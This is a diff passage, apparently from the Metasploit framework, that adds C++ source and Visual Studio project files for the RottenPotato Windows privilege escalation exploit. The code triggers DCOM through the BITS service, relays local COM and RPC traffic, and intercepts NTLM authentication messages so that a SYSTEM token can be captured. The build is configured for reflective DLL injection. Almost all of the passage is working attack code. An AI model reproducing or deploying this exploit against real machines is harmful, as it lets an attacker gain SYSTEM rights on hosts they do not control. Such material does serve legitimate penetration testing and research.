||||||
|
char pattern[7] = { 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50 };
|
||||||
|
int pIdx = 0;
|
||||||
|
int i;
|
||||||
|
for (i = 0; i < len; i++) {
|
||||||
|
if (bytes[i] == pattern[pIdx]) {
|
||||||
|
pIdx = pIdx + 1;
|
||||||
|
if (pIdx == 7) return (i - 6);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
pIdx = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
int CMSFRottenPotato::processNtlmBytes(char *bytes, int len) {
|
||||||
|
int ntlmLoc = findNTLMBytes(bytes, len);
|
||||||
|
if (ntlmLoc == -1) return -1;
|
||||||
|
|
||||||
|
int messageType = bytes[ntlmLoc + 8];
|
||||||
|
switch (messageType) {
|
||||||
|
//NTLM type 1 message
|
||||||
|
case 1:
|
||||||
|
negotiator->handleType1(bytes + ntlmLoc, len - ntlmLoc);
|
||||||
|
break;
|
||||||
|
//NTLM type 2 message
|
||||||
|
case 2:
|
||||||
|
negotiator->handleType2(bytes + ntlmLoc, len - ntlmLoc);
|
||||||
|
break;
|
||||||
|
//NTLM type 3 message
|
||||||
|
case 3:
|
||||||
|
negotiator->handleType3(bytes + ntlmLoc, len - ntlmLoc);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
return -1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int checkForNewConnection(SOCKET* ListenSocket, SOCKET* ClientSocket) {
|
||||||
|
fd_set readSet;
|
||||||
|
FD_ZERO(&readSet);
|
||||||
|
FD_SET(*ListenSocket, &readSet);
|
||||||
|
timeval timeout;
|
||||||
|
timeout.tv_sec = 1; // Zero timeout (poll)
|
||||||
|
timeout.tv_usec = 0;
|
||||||
|
if (select(*ListenSocket, &readSet, NULL, NULL, &timeout) == 1) {
|
||||||
|
*ClientSocket = accept(*ListenSocket, NULL, NULL);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int CMSFRottenPotato::triggerDCOM(void)
|
||||||
|
{
|
||||||
|
CoInitialize(nullptr);
|
||||||
|
|
||||||
|
//Create IStorage object
|
||||||
|
IStorage *stg = NULL;
|
||||||
|
ILockBytes *lb = NULL;
|
||||||
|
CreateILockBytesOnHGlobal(NULL, true, &lb);
|
||||||
|
StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);
|
||||||
|
|
||||||
|
//Initialze IStorageTrigger object
|
||||||
|
IStorageTrigger* t = new IStorageTrigger(stg);
|
||||||
|
|
||||||
|
//Prep a few more args for CoGetInstanceFromIStorage
|
||||||
|
CLSID clsid;
|
||||||
|
//BITS IID
|
||||||
|
CLSIDFromString(OLESTR("{4991d34b-80a1-4291-83b6-3328366b9097}"), &clsid);
|
||||||
|
CLSID tmp;
|
||||||
|
//IUnknown IID
|
||||||
|
CLSIDFromString(OLESTR("{00000000-0000-0000-C000-000000000046}"), &tmp);
|
||||||
|
MULTI_QI qis[1];
|
||||||
|
qis[0].pIID = &tmp;
|
||||||
|
qis[0].pItf = NULL;
|
||||||
|
qis[0].hr = 0;
|
||||||
|
|
||||||
|
//Call CoGetInstanceFromIStorage
|
||||||
|
HRESULT status = CoGetInstanceFromIStorage(NULL, &clsid, NULL, CLSCTX_LOCAL_SERVER, t, 1, qis);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int CMSFRottenPotato::startRPCConnection(void) {
|
||||||
|
const int DEFAULT_BUFLEN = 4096;
|
||||||
|
PCSTR DEFAULT_PORT = "135";
|
||||||
|
PCSTR host = "127.0.0.1";
|
||||||
|
|
||||||
|
WSADATA wsaData;
|
||||||
|
SOCKET ConnectSocket = INVALID_SOCKET;
|
||||||
|
struct addrinfo *result = NULL,
|
||||||
|
*ptr = NULL,
|
||||||
|
hints;
|
||||||
|
|
||||||
|
char *sendbuf;
|
||||||
|
char recvbuf[DEFAULT_BUFLEN];
|
||||||
|
int iResult;
|
||||||
|
int recvbuflen = DEFAULT_BUFLEN;
|
||||||
|
|
||||||
|
// Initialize Winsock
|
||||||
|
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||||
|
if (iResult != 0) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
ZeroMemory(&hints, sizeof(hints));
|
||||||
|
hints.ai_family = AF_UNSPEC;
|
||||||
|
hints.ai_socktype = SOCK_STREAM;
|
||||||
|
hints.ai_protocol = IPPROTO_TCP;
|
||||||
|
|
||||||
|
// Resolve the server address and port
|
||||||
|
iResult = getaddrinfo(host, DEFAULT_PORT, &hints, &result);
|
||||||
|
if (iResult != 0) {
|
||||||
|
WSACleanup();
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Attempt to connect to an address until one succeeds
|
||||||
|
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
|
||||||
|
|
||||||
|
// Create a SOCKET for connecting to server
|
||||||
|
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
|
||||||
|
ptr->ai_protocol);
|
||||||
|
if (ConnectSocket == INVALID_SOCKET) {
|
||||||
|
WSACleanup();
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Connect to server.
|
||||||
|
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
|
||||||
|
if (iResult == SOCKET_ERROR) {
|
||||||
|
closesocket(ConnectSocket);
|
||||||
|
ConnectSocket = INVALID_SOCKET;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ConnectSocket == INVALID_SOCKET) {
|
||||||
|
WSACleanup();
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Send/Receive until the peer closes the connection
|
||||||
|
do {
|
||||||
|
|
||||||
|
//Monitor our sendQ until we have some data to send
|
||||||
|
int *len = (int*)rpcSendQ->wait_pop();
|
||||||
|
sendbuf = rpcSendQ->wait_pop();
|
||||||
|
|
||||||
|
//Check if we should be opening a new socket before we send the data
|
||||||
|
if (newConnection == 1) {
|
||||||
|
//closesocket(ConnectSocket);
|
||||||
|
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
|
||||||
|
connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
|
||||||
|
newConnection = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
iResult = send(ConnectSocket, sendbuf, *len, 0);
|
||||||
|
if (iResult == SOCKET_ERROR) {
|
||||||
|
closesocket(ConnectSocket);
|
||||||
|
WSACleanup();
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);
|
||||||
|
if (iResult > 0) {
|
||||||
|
comSendQ->push((char*)&iResult);
|
||||||
|
comSendQ->push(recvbuf);
|
||||||
|
}
|
||||||
|
else if (iResult == 0)
|
||||||
|
printf("RPC-> Connection closed\n");
|
||||||
|
else
|
||||||
|
printf("RPC -> recv failed with error: %d\n", WSAGetLastError());
|
||||||
|
|
||||||
|
} while (iResult > 0);
|
||||||
|
|
||||||
|
// cleanup
|
||||||
|
iResult = shutdown(ConnectSocket, SD_SEND);
|
||||||
|
closesocket(ConnectSocket);
|
||||||
|
WSACleanup();
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int CMSFRottenPotato::startCOMListener(void) {
|
||||||
|
const int DEFAULT_BUFLEN = 4096;
|
||||||
|
PCSTR DEFAULT_PORT = "6666";
|
||||||
|
|
||||||
|
WSADATA wsaData;
|
||||||
|
int iResult;
|
||||||
|
|
||||||
|
SOCKET ListenSocket = INVALID_SOCKET;
|
||||||
|
SOCKET ClientSocket = INVALID_SOCKET;
|
||||||
|
|
||||||
|
struct addrinfo *result = NULL;
|
||||||
|
struct addrinfo hints;
|
||||||
|
|
||||||
|
int iSendResult;
|
||||||
|
char *sendbuf;
|
||||||
|
|
||||||
|
char recvbuf[DEFAULT_BUFLEN];
|
||||||
|
int recvbuflen = DEFAULT_BUFLEN;
|
||||||
|
|
||||||
|
// Initialize Winsock
|
||||||
|
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||||
|
if (iResult != 0) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
ZeroMemory(&hints, sizeof(hints));
|
||||||
|
hints.ai_family = AF_INET;
|
||||||
|
hints.ai_socktype = SOCK_STREAM;
|
||||||
|
hints.ai_protocol = IPPROTO_TCP;
|
||||||
|
hints.ai_flags = AI_PASSIVE;
|
||||||
|
|
||||||
|
// Resolve the server address and port
|
||||||
|
iResult = getaddrinfo(NULL, DEFAULT_PORT, &hints, &result);
|
||||||
|
if (iResult != 0) {
|
||||||
|
WSACleanup();
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create a SOCKET for connecting to server
|
||||||
|
ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
|
||||||
|
if (ListenSocket == INVALID_SOCKET) {
|
||||||
|
freeaddrinfo(result);
|
||||||
|
WSACleanup();
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Setup the TCP listening socket
|
||||||
|
iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen);
|
||||||
|
if (iResult == SOCKET_ERROR) {
|
||||||
|
freeaddrinfo(result);
|
||||||
|
closesocket(ListenSocket);
|
||||||
|
WSACleanup();
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
freeaddrinfo(result);
|
||||||
|
|
||||||
|
iResult = listen(ListenSocket, SOMAXCONN);
|
||||||
|
if (iResult == SOCKET_ERROR) {
|
||||||
|
closesocket(ListenSocket);
|
||||||
|
WSACleanup();
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Accept a client socket
|
||||||
|
ClientSocket = accept(ListenSocket, NULL, NULL);
|
||||||
|
if (ClientSocket == INVALID_SOCKET) {
|
||||||
|
closesocket(ListenSocket);
|
||||||
|
WSACleanup();
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Receive until the peer shuts down the connection
|
||||||
|
int ntlmLoc;
|
||||||
|
do {
|
||||||
|
iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
|
||||||
|
if (iResult > 0) {
|
||||||
|
|
||||||
|
//check to see if the received packet has NTLM auth information
|
||||||
|
processNtlmBytes(recvbuf, iResult);
|
||||||
|
|
||||||
|
//Send all incoming packets to the WinRPC sockets "send queue" and wait for the WinRPC socket to put a packet into our "send queue"
|
||||||
|
//put packet in winrpc_sendq
|
||||||
|
rpcSendQ->push((char*)&iResult);
|
||||||
|
rpcSendQ->push(recvbuf);
|
||||||
|
|
||||||
|
//block and wait for a new item in our sendq
|
||||||
|
int* len = (int*)comSendQ->wait_pop();
|
||||||
|
sendbuf = comSendQ->wait_pop();
|
||||||
|
|
||||||
|
//Check to see if this is a packet containing NTLM authentication information before sending
|
||||||
|
processNtlmBytes(sendbuf, *len);
|
||||||
|
|
||||||
|
//send the new packet sendbuf
|
||||||
|
iSendResult = send(ClientSocket, sendbuf, *len, 0);
|
||||||
|
|
||||||
|
if (iSendResult == SOCKET_ERROR) {
|
||||||
|
closesocket(ClientSocket);
|
||||||
|
WSACleanup();
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
//Sometimes Windows likes to open a new connection instead of using the current one
|
||||||
|
//Allow for this by waiting for 1s and replacing the ClientSocket if a new connection is incoming
|
||||||
|
newConnection = checkForNewConnection(&ListenSocket, &ClientSocket);
|
||||||
|
}
|
||||||
|
else if (iResult == 0)
|
||||||
|
printf("Connection closing...\n");
|
||||||
|
else {
|
||||||
|
closesocket(ClientSocket);
|
||||||
|
WSACleanup();
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
} while (iResult > 0);
|
||||||
|
|
||||||
|
// shutdown the connection since we're done
|
||||||
|
iResult = shutdown(ClientSocket, SD_SEND);
|
||||||
|
if (iResult == SOCKET_ERROR) {
|
||||||
|
closesocket(ClientSocket);
|
||||||
|
WSACleanup();
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanup
|
||||||
|
closesocket(ClientSocket);
|
||||||
|
WSACleanup();
|
||||||
|
|
||||||
|
closesocket(ListenSocket);
|
||||||
|
WSACleanup();
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
|
@ -0,0 +1,35 @@
|
||||||
|
// The following ifdef block is the standard way of creating macros which make exporting
|
||||||
|
// from a DLL simpler. All files within this DLL are compiled with the MSFROTTENPOTATO_EXPORTS
|
||||||
|
// symbol defined on the command line. This symbol should not be defined on any project
|
||||||
|
// that uses this DLL. This way any other project whose source files include this file see
|
||||||
|
// MSFROTTENPOTATO_API functions as being imported from a DLL, whereas this DLL sees symbols
|
||||||
|
// defined with this macro as being exported.
|
||||||
|
#ifdef MSFROTTENPOTATO_EXPORTS
|
||||||
|
#define MSFROTTENPOTATO_API __declspec(dllexport)
|
||||||
|
#else
|
||||||
|
#define MSFROTTENPOTATO_API __declspec(dllimport)
|
||||||
|
#endif
|
||||||
|
#include "Objidl.h"
|
||||||
|
#include "BlockingQueue.h"
|
||||||
|
#include "LocalNegotiator.h"
|
||||||
|
|
||||||
|
// This class is exported from the MSFRottenPotato.dll
|
||||||
|
class MSFROTTENPOTATO_API CMSFRottenPotato {
|
||||||
|
private:
|
||||||
|
BlockingQueue<char*>* comSendQ;
|
||||||
|
BlockingQueue<char*>* rpcSendQ;
|
||||||
|
static DWORD WINAPI staticStartRPCConnection(void * Param);
|
||||||
|
static DWORD WINAPI staticStartCOMListener(void * Param);
|
||||||
|
static int newConnection;
|
||||||
|
int processNtlmBytes(char* bytes, int len);
|
||||||
|
int findNTLMBytes(char * bytes, int len);
|
||||||
|
|
||||||
|
public:
|
||||||
|
CMSFRottenPotato(void);
|
||||||
|
int startRPCConnection(void);
|
||||||
|
DWORD startRPCConnectionThread();
|
||||||
|
DWORD startCOMListenerThread();
|
||||||
|
int startCOMListener(void);
|
||||||
|
int triggerDCOM();
|
||||||
|
LocalNegotiator *negotiator;
|
||||||
|
};
|
195
external/source/exploits/rottenpotato/MSFRottenPotato/MSFRottenPotato.vcxproj
vendored
Executable file
195
external/source/exploits/rottenpotato/MSFRottenPotato/MSFRottenPotato.vcxproj
vendored
Executable file
|
@ -0,0 +1,195 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<ProjectGuid>{4164003E-BA47-4A95-8586-D5AAC399C050}</ProjectGuid>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
<RootNamespace>MSFRottenPotato</RootNamespace>
|
||||||
|
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v141</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v141</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v141</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v141</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="Shared">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<PreprocessorDefinitions>NDEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Text Include="ReadMe.txt" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="BlockingQueue.h" />
|
||||||
|
<ClInclude Include="IStorageTrigger.h" />
|
||||||
|
<ClInclude Include="LocalNegotiator.h" />
|
||||||
|
<ClInclude Include="MSFRottenPotato.h" />
|
||||||
|
<ClInclude Include="ReflectiveDllInjection.h" />
|
||||||
|
<ClInclude Include="ReflectiveLoader.h" />
|
||||||
|
<ClInclude Include="stdafx.h" />
|
||||||
|
<ClInclude Include="targetver.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="dllmain.cpp">
|
||||||
|
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged>
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged>
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
</PrecompiledHeader>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="IStorageTrigger.cpp" />
|
||||||
|
<ClCompile Include="LocalNegotiator.cpp" />
|
||||||
|
<ClCompile Include="MSFRottenPotato.cpp" />
|
||||||
|
<ClCompile Include="ReflectiveLoader.c" />
|
||||||
|
<ClCompile Include="stdafx.cpp">
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
66
external/source/exploits/rottenpotato/MSFRottenPotato/MSFRottenPotato.vcxproj.filters
vendored
Normal file
66
external/source/exploits/rottenpotato/MSFRottenPotato/MSFRottenPotato.vcxproj.filters
vendored
Normal file
|
@ -0,0 +1,66 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="Source Files">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Header Files">
|
||||||
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
|
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Resource Files">
|
||||||
|
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||||
|
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Text Include="ReadMe.txt" />
|
||||||
|
